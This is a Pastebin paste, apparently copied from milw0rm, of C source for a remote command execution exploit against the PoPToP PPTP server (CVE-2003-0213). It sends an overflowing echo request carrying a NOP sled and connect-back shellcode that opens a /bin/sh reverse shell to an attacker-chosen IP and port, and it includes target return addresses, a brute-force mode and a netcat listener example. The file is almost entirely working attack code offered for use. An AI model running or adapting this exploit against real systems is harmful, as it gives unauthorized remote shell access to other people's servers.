Advertisement
FlyFar

PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Command Execution - CVE-2003-0213

Jan 23rd, 2024
685
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 9.39 KB | Cybersecurity | 0 0
  1. /*
  2.  * Fixed Exploit against PoPToP in Linux (poptop-sane.c)
  3.  * ./r4nc0rwh0r3 of blightninjas (blightninjas@hushmail.com)
  4.  *
  5.  *
  6.  * Examples:
  7.  * attack target 1
  8.  * nc -v -l -p 10000 <-- on 1.1.1.2
  9.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t 1
  10.  *
  11.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t
  12.  * list targets
  13.  *
  14.  * ./poptop-sane 1.1.1.1 1.1.1.2 10000 -r 0xbffff600
  15.  * attack using ret address 0xbffff600
  16.  *
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <signal.h>
  23.  
  24. #define NOP_LENGTH 140
  25. #define RET_OFF 320
  26. #define MAX_HOSTNAME_SIZE               64
  27. #define MAX_VENDOR_SIZE                 64
  28. #define PPTP_VERSION                    0x0100
  29. /* Magic Cookie */
  30. #define PPTP_MAGIC_COOKIE               0x1a2b3c4d
  31.  
  32. /* Message types */
  33. #define PPTP_CTRL_MESSAGE               1
  34.  
  35. /* Control Connection Management */
  36. #define START_CTRL_CONN_RQST            1
  37. #define START_CTRL_CONN_RPLY            2
  38. #define STOP_CTRL_CONN_RQST             3
  39. #define STOP_CTRL_CONN_RPLY             4
  40. #define ECHO_RQST                       5
  41. #define ECHO_RPLY                       6
  42.  
  43. // brute force values
  44. // Values can be increased both ways
  45. #define TOPOFSTACK 0xbffff800
  46. #define BOTTOMOFSTACK 0xbffff000
  47. #define STEP 64
  48.  
  49. char
  50. shellcode[] =
  51.   "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  52.   "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  53.   "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  54.   "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  55.   "\x68\x41\x42\x43\x44\x66\x68\xb0"
  56.   "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  57.   "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  58.   "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  59.   "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  60.   "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  61.   "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  62.   "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  63.   "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  64.   "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  65.   "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  66.   "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  67.   "\x01\xcd\x80";
  68.  
  69. int st;
  70. struct target {
  71.   char *desc;
  72.   u_int32_t ret;
  73. } targets[] =
  74. {
  75.   {"Slackware 8.0 Linux 2.4.18 pptpd-1.0.1", 0xbffff540},
  76.   {"Slackware 8.0 Linux 2.4.18 pptpd-1.1.3", 0xbffff580},
  77. };
  78.  
  79. struct pptp_header {
  80.   u_int16_t length;               /* pptp message length incl header */
  81.   u_int16_t pptp_type;            /* pptp message type */
  82.   u_int32_t magic;                /* magic cookie */
  83.   u_int16_t ctrl_type;            /* control message type */
  84.   u_int16_t reserved0;            /* reserved */
  85. };
  86.  
  87. struct pptp_start_ctrl_conn_rqst {
  88.   struct pptp_header header;      /* pptp header */
  89.   u_int16_t version;              /* pptp protocol version */
  90.   u_int16_t reserved1;            /* reserved */
  91.   u_int32_t framing_cap;          /* framing capabilities */
  92.   u_int32_t bearer_cap;           /* bearer capabilities */
  93.   u_int16_t max_channels;         /* maximum channels */
  94.   u_int16_t firmware_rev;         /* firmware revision */
  95.   u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
  96.   u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */
  97. };
  98.  
  99. struct pptp_echo_rqst {
  100.   struct pptp_header header;      /* header */
  101.   u_int32_t identifier;           /* value to match rply with rqst */
  102.   char buf[10000];
  103. };
  104.  
  105. struct pptp_reply {
  106.   struct pptp_header header;      /* header */
  107.   char buf[10000];
  108. };
  109.  
  110. void catch_pipe() {
  111.   printf("Broken pipe caught, server most likely patched.\n");
  112.   exit(1);
  113. }
  114. void send_init_request(int st)
  115. {
  116.   struct pptp_start_ctrl_conn_rqst request;
  117.   request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  118.   request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  119.   request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
  120.  
  121.   request.version = PPTP_VERSION;
  122.   request.framing_cap = 0;
  123.   request.bearer_cap = 0;
  124.   request.max_channels = 1;
  125.   request.firmware_rev = 0;
  126.   strcpy(request.hostname,"hell");
  127.   strcpy(request.vendor,"domain HELL");
  128.   request.header.length = ntohs(sizeof(request));
  129.  
  130.   send(st,(char*)&request,sizeof(request),0);
  131. }
  132.  
  133. void send_ping_overflow(int st, u_int32_t ret, char *hostname, short port)
  134. {
  135.   struct pptp_echo_rqst ping;
  136.   int i, buflen = 500;
  137.  
  138.   ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  139.   ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
  140.   ping.header.ctrl_type = htons(ECHO_RQST);
  141.   ping.identifier = 111;  
  142.   ping.header.length = ntohs(1);
  143.  
  144.   for (i = 0; i < NOP_LENGTH; i++) ping.buf[i] = '\x90';      
  145.  
  146.   *(unsigned long int*)(shellcode+33) = inet_addr(hostname);
  147.   *(unsigned short int*)(shellcode+39) = htons(port);
  148.  
  149.   memcpy(ping.buf+NOP_LENGTH,shellcode,sizeof(shellcode));
  150.   for(i = RET_OFF; i < buflen - 4; i+=4)
  151.     memcpy(ping.buf+i,(char*)&ret,4);
  152.  
  153.   send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
  154. }
  155.  
  156. int connect_server(char* hostname)
  157. {
  158.   struct sockaddr_in addr;
  159.   st=socket(PF_INET,SOCK_STREAM,0);
  160.   if ((st=socket(PF_INET,SOCK_STREAM,0)) == -1) return 0;
  161.  
  162.   addr.sin_family=AF_INET;
  163.   addr.sin_port=0;
  164.   addr.sin_addr.s_addr=0;
  165.   bind(st, (struct sockaddr *)&addr,sizeof(struct sockaddr));
  166.  
  167.   addr.sin_family=AF_INET;
  168.   addr.sin_port=htons(1723);
  169.   addr.sin_addr.s_addr=inet_addr(hostname);
  170.   printf("connecting... ");
  171.   if ((connect(st,(struct sockaddr*)&addr,sizeof(addr))) != 0)
  172.   {
  173.     perror("connect");
  174.     return 0;
  175.   }
  176.   return 1;
  177. }
  178.  
  179. int main(int argc, char** argv)
  180. {
  181.   struct pptp_reply reply;
  182.   int timeout = 1000;
  183.   u_int32_t ret;
  184.   int bytes, j, checked = 0;
  185.   signal(SIGPIPE, catch_pipe);
  186.   printf("\n");
  187.   printf("        D     A     SSSSS                           \n");
  188.   printf("        D    A A    S     SSSSS     T\n");
  189.   printf("        D   A   A   S     S         T     EE    AA   M   M \n");
  190.   printf("    DDD D  AAAAAAA  SSSSS S         T    E  E  A  A  MM MM \n");
  191.   printf("   D   DD  A     A      S SSSSS    TTTT  E  E  A  A  MM MM \n");
  192.   printf("  D     D  A     A      S     S     T    EEE   AAAA  M M M \n");
  193.   printf("   D    D  A     A  SSSSS     S     T    E     A  A  M   M \n");
  194.   printf("    DDDD   A     A        SSSSS      TTT  EEE  A  A  M   M   ");
  195.   printf(" ... presents ... \n\n");                
  196.   printf("Exploit for PoPToP PPTP server older than\n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
  197.   printf("by .einstein., April 2003.  <-- the genius\n\n");
  198.   printf("fixed by ./r4nc0rwh0r3 of blightninjas  blightninjas@hushmail.com\n\n");
  199.   if (argc < 2)
  200.   {
  201.     printf("usage: \n");
  202.     printf("  %s <pptp_server> [your_ip] [your_port] ...\n",argv[0]);
  203.     printf("   -b [timeout in ms]\n");
  204.     printf("   -t [target]\n");
  205.     printf("   -r [ret address]\n");
  206.     //Abridged edition
  207.     printf(" Only supply pptp_server to test exploitability using really poor method.\n");
  208.     printf(" Connect back to your_ip at your_port.\n\n");
  209.     return 0;
  210.   }
  211.  
  212.   if (argc == 2)
  213.   {
  214.     if (!connect_server(argv[1])) return 1;
  215.  
  216.     printf("\nChecking if the server is vulnerable..\n");
  217.     printf("(if it is you have to wait 65 seconds)..\n");
  218.     send_init_request(st);
  219.  
  220.     ret = 0x01010101;
  221.  
  222.     //header length
  223.     bytes = recv(st,(char*)&reply,2,0);
  224.     bytes = ntohs(reply.header.length);
  225.     bytes = recv(st,(char*)&reply+2,bytes-2,0);
  226.     j = htons(reply.header.ctrl_type);
  227.     send_ping_overflow(st,ret,"0.0.0.0",0);
  228.  
  229.     //header length
  230.     bytes = recv(st,(char*)&reply,2,0);
  231.     printf("PoPToP server is ");
  232.     if ((bytes = recv(st,(char*)&reply,2,0)) != -1) printf("vulnerable!\n");
  233.     else printf("not vulnerable\n");
  234.     close(st);
  235.  
  236.     return 1;
  237.   }
  238.   if(argc < 5) exit(1);
  239.   else if(strncmp(argv[4], "-b", 2) == 0) {
  240.     if(argc == 6) timeout = atoi(argv[5]);
  241.     printf("[!] Attempting bruteforce against %s, timeout: %d\n", argv[1], timeout);
  242.     printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
  243.  
  244.     for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) {
  245.       printf("[*] ");
  246.       if (!connect_server(argv[1])) return 1;
  247.       printf("[ret=0x%x]..",ret);
  248.       printf("sending payload..");
  249.  
  250.       // initial packet
  251.       send_init_request(st);
  252.  
  253.       //a real overflowing ping packet
  254.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  255.       close(st);
  256.  
  257.       usleep(timeout * 1000);
  258.       printf("done\n");
  259.     }
  260.   }
  261.   else if(strncmp(argv[4], "-t", 2) == 0) {
  262.     if(argc == 6 && atoi(argv[5]) >= 0
  263.      && atoi(argv[5]) < sizeof(targets)/sizeof(struct target)) {
  264.       ret = targets[atoi(argv[5])].ret;
  265.       printf("[!] Attacking %s using %s\n", argv[1], targets[atoi(argv[5])].desc);
  266.  
  267.       printf("[*] ");
  268.       if (!connect_server(argv[1])) return 1;
  269.       printf("[ret=0x%x]..",ret);
  270.       printf("sending payload..");
  271.  
  272.       // initial packet
  273.       send_init_request(st);
  274.  
  275.       //a real overflowing ping packet
  276.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  277.       close(st);
  278.  
  279.       printf("done\n");
  280.     }
  281.     else {
  282.       for(j = 0; j < sizeof(targets)/sizeof(struct target); j++) {
  283.         printf("%02d - %s\n", j, targets[j].desc);
  284.       }
  285.       printf("\n");
  286.     }
  287.   }
  288.   else if(strncmp(argv[4], "-r", 2) == 0) {
  289.     if(argc == 6) {
  290.       sscanf(argv[5], "%x", (unsigned int *)&ret);
  291.       printf("[!] Attacking %s\n", argv[1]);
  292.  
  293.       printf("[*] ");
  294.       if (!connect_server(argv[1])) return 1;
  295.       printf("[ret=0x%x]..",ret);
  296.       printf("sending payload..");
  297.  
  298.       // initial packet
  299.       send_init_request(st);
  300.  
  301.       //a real overflowing ping packet
  302.       send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
  303.       close(st);
  304.  
  305.       printf("done\n");
  306.     }
  307.   }
  308.   return 0;
  309. }
  310.  
  311. // milw0rm.com [2003-04-25]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement